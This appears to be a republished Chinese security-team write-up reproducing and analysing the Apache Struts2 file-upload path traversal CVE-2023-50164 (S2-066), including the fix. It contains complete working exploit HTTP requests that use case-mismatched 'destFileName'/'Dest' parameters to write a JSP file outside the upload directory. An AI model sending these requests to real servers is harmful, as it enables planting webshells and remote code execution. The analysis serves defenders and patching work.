Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

admin 2024年1月19日22:53:43评论27 views字数 8450阅读28分10秒阅读模式

1

漏洞信息

影响:文件上传漏洞,可导致RCE

影响范围:

  • Apache Struts 2.0.0~2.5.32

  • APache Struts 6.0.0~6.3.0.1

修复版本:

  • Apache Struts >= 2.5.33

  • Apache Struts >= 6.3.0.2

reference:

https://www.openwall.com/lists/oss-security/2023/12/07/1

https://lists.apache.org/thread/yh09b3fkf6vz5d6jdgrlvmg60lfwtqhj

https://cwiki.apache.org/confluence/display/WW/S2-066

https://github.com/apache/struts/commit/162e29fee9136f4bfd9b2376da2cbf590f9ea163#diff-c3ff6723ce314bc163facd220f85264aa44661665942eaa24fd2da450a81e929

2

漏洞复现

官方公告:

An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.

提取关键信息:file uploadpaths traversal

通过公告可以得知此漏洞基本是有路径穿越的文件上传,结合diff:Makes HttpParameters case-insensitive,可以知道漏洞和某些大小写敏感的操作有关

环境搭建

IDEA(便于debug)+Maven+Tomcat

  1. IDEA打开项目,一般会自动识别其为web项目,直接配置以下两个地方即可

  2. Run => Edit Config… => 新增本地tomcat

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

    3. Project Setting => 一般会识别为Web项目并自动配置,没有的话按这个选择即可

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

正常文件上传

配置完环境跑起来,直接上传文件抓包,将filename修改为路径穿越 ../test.jsp 如下

POST /struts2_vul_war_exploded/upload HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 222
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close

------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="dest"; filename="../test.jsp"
Content-Type: application/octet-stream

<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB--

不出意外,上传后 ../ 被过滤,只留下了test.jsp

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

原因:struts2对上传的文件名做了过滤和限制,org.apache.struts2.dispatcher.multipart.AbstractMultiPartRequest#getCanonicalName处,对路径穿越做了防护,取 或 后的字符串作为文件名

# 防御路径穿越  protected String getCanonicalName(String originalFileName) {      int forwardSlash = originalFileName.lastIndexOf(47);      int backwardSlash = originalFileName.lastIndexOf(92);      String fileName;      if (forwardSlash != -1 && forwardSlash > backwardSlash) {          fileName = originalFileName.substring(forwardSlash + 1);      } else {          fileName = originalFileName.substring(backwardSlash + 1);      }      return fileName;  }

Debug如下,可以看到在return处已经把 ../ 过滤掉了

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

构造路径穿越

直接看怎么构造绕过

数据包如下

POST /struts2_vul_war_exploded/upload?destFileName=../test.jsp HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 220
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close

------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="Dest"; filename="test.jsp"
Content-Type: application/octet-stream

<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB--

关注以下几个地方:

  1. URL处/upload?destFileName=../test.jsp

  2. post body处name="Dest"

可以看到此时已经成功实现路径穿越

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

另还有一种构造方式如下:

POST /struts2_vul_war_exploded/upload HTTP/1.1
Host: 127.0.0.1:8888
Content-Length: 366
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvRy43ECJF8NLXNFB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8888/struts2_vul_war_exploded/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0F91AF9BE518B1B7E768D7FB3191B999
Connection: close

------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="Dest"; filename="xxx"
Content-Type: application/octet-stream

<% out.println("EXP");%>
------WebKitFormBoundaryvRy43ECJF8NLXNFB
Content-Disposition: form-data; name="destFileName";
Content-Type: application/octet-stream

../test.jsp
------WebKitFormBoundaryvRy43ECJF8NLXNFB--

3

漏洞分析

分析过程此处粘贴几个链接

https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/

https://mp.weixin.qq.com/s/SVJHsmvLqHwZoNKmFNvXcA

都写得非常好,笔者不再过多赘述,接下来直接看以上数据包是怎么绕过过滤的

从上下文获取HttpParameter对象

从上下文获取HttpParameter对象,首先需要在org.apache.struts2.dispatcher.Dispatcher#createContextMap(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse, org.apache.struts2.dispatcher.mapper.ActionMapping)处,保存请求的参数

这个地方保存的东西如下:

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

可以看到此时的value为路径穿越的payload

其中一些调用栈如下

createContextMap:634, Dispatcher (org.apache.struts2.dispatcher)
createActionContext:83, PrepareOperations (org.apache.struts2.dispatcher)
doFilter:132, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
...

对文件名进行处理

获取完上下文内容后(保存了URL请求的参数,也即路径穿越的payload),开始进入文件上传action的post body解析;在org.apache.struts2.interceptor.FileUploadInterceptor#intercept中,对文件进行处理

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

此时处理完的结果如下:DestFileName的值为test.jsp

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

回忆一下,此时保存了两个主要参数:

  1. 请求参数destFileName=../test.jsp

  2. post body参数DestFileName=test.jsp

参数绑定

com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept处调用了com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters进行了参数绑定

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

能看到此时HttpParameters对象有4个属性,在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters中执行setter操作,此时我们可以发现

{
"DestFileName": "test.jsp",
"destFileName": "../test.jsp"
}

回到我们的Action中,可以发现此时被赋予的值已经成功路径穿越了

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

漏洞到此就正向分析完毕了,可能有人会有疑问,为什么一定要这么构造呢?因此我稍微总结一下堆栈和数据流的调用链帮助更好理解

4

漏洞总结

  1. 从上下文获取HttpParameter对象

    /struts2_vul_war_exploded/upload?destFileName=../test.jsp的请求参数进行赋值,得到destFileName=../test.jsp

  2. 在post body中对数据包的name进行构造,将其首字母大写得到name="Dest"

    此时进入文件上传的拦截器逻辑,对数据包进行处理,包括(1)name字段拼接字符串FileName;(2)filename字段进行 、 过滤

    如果此时没有将首字母大写,则会被拼接为destFileName,后面在进行KV赋值时,会覆盖第一步从上下文获取HttpParameter对象的值,也即../test.jsp被覆盖成了test.jsp

  3. 为什么必须是请求参数小写,post body的name字段大写?

    我们稍微改下数据包,令URL为/struts2_vul_war_exploded/upload?DestFileName=../test.jsp,post bodyname="dest",然后发包debug,在com.opensymphony.xwork2.interceptor.ParametersInterceptor#setParameters中我们可以发现,此时的赋值情况和我们传入的参数一致,接着开始调用setter方法进行赋值

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

接下来就是重点了:

这个和ognl.OgnlRuntime#addIfAccessor有关,在调用setter方法时,会判断baseName,这个的意思就是,我的setter方法名是setDestFileName,需要满足baseNameDestFileName

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

baseName也是会做处理的,在ognl.OgnlRuntime#capitalizeBeanPropertyName中,有这么一段代码:

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

这里主要的作用是:如果字符串是小写开头且第二个字符不是大写的,则将首字符大写返回;因此若我们传入的字符串为destFileName,则baseName会被处理为DestFileName,这会导致什么结果呢?还记得我们的赋值情况吗?

# 漏洞利用成功时的map:
{
"DestFileName": "test.jsp",
"destFileName": "../test.jsp"
}
# 漏洞不能利用成功的map:
{
"DestFileName": "../test.jsp",
"destFileName": "test.jsp"
}

区别就在于这里了,漏洞利用成功时,先赋值DestFileName=test.jsp,而destFileName经过ognl.OgnlRuntime#capitalizeBeanPropertyName的处理,destFileName变成了DestFileName,并对其赋../test.jsp的值,导致原本DestFileName=test.jsp被覆盖成了DestFileName=../test.jsp,传入了action中实现路径穿越;

而漏洞利用不成功的原因也很显而易见了,因为DestFileName先被赋予了../test.jsp后又被覆盖为test.jsp,自然也就利用失败了

出现这个情况的另一个重点在于此处:

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

如上,用于赋值的acceptableParametersTreeMap,这种map有个什么特性呢?

Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

看出差别了吗,TreeMap有个很大的特点就是其排列顺序会根据key的首字母排,因此首字母大写的key会排在小写的前面,这就回答了前面的问题:”为什么必须是请求参数小写,post body的name字段大写?“——因为需要将payload赋值给小写的请求参数,令其(1)不经过s2框架对postbody的过滤;(2)调用setter时排在大写的字段后面,令其payload可以覆盖被过滤的、大写的参数

一句话总结:将payload赋给首字母小写的、能不经过s2框架过滤的参数;首字母大写的、需要经过s2框架过滤的参数随意赋值,最后由于TreeMap的排序特性,setter会先赋值大写的参数(随意是啥),再将小写参数的payload赋值覆盖,形成路径穿越

5

漏洞修复

官方修复是取消了大小写敏感,因此第一次获取的HttpParameter对象会被后面post body取得name字段覆盖,实现拦截器的过滤作用

缓解:waf、rasp均需注意路径穿越的payload

推荐阅读

华为PSIRT助力 | 顺丰SRC第二届白帽技术沙龙预约开启!

致谢信 | 感谢阿里巴巴集团安全研究团队对华为终端云的支持

Curl SOCKS5安全漏洞(CVE-2023-38545)分析

原文始发于微信公众号(华为安全应急响应中心):Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月19日22:53:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Struts2 文件上传漏洞复现与分析(CVE-2023-50164/S2-066)https://cn-sec.com/archives/2412127.html

发表评论

匿名网友 填写信息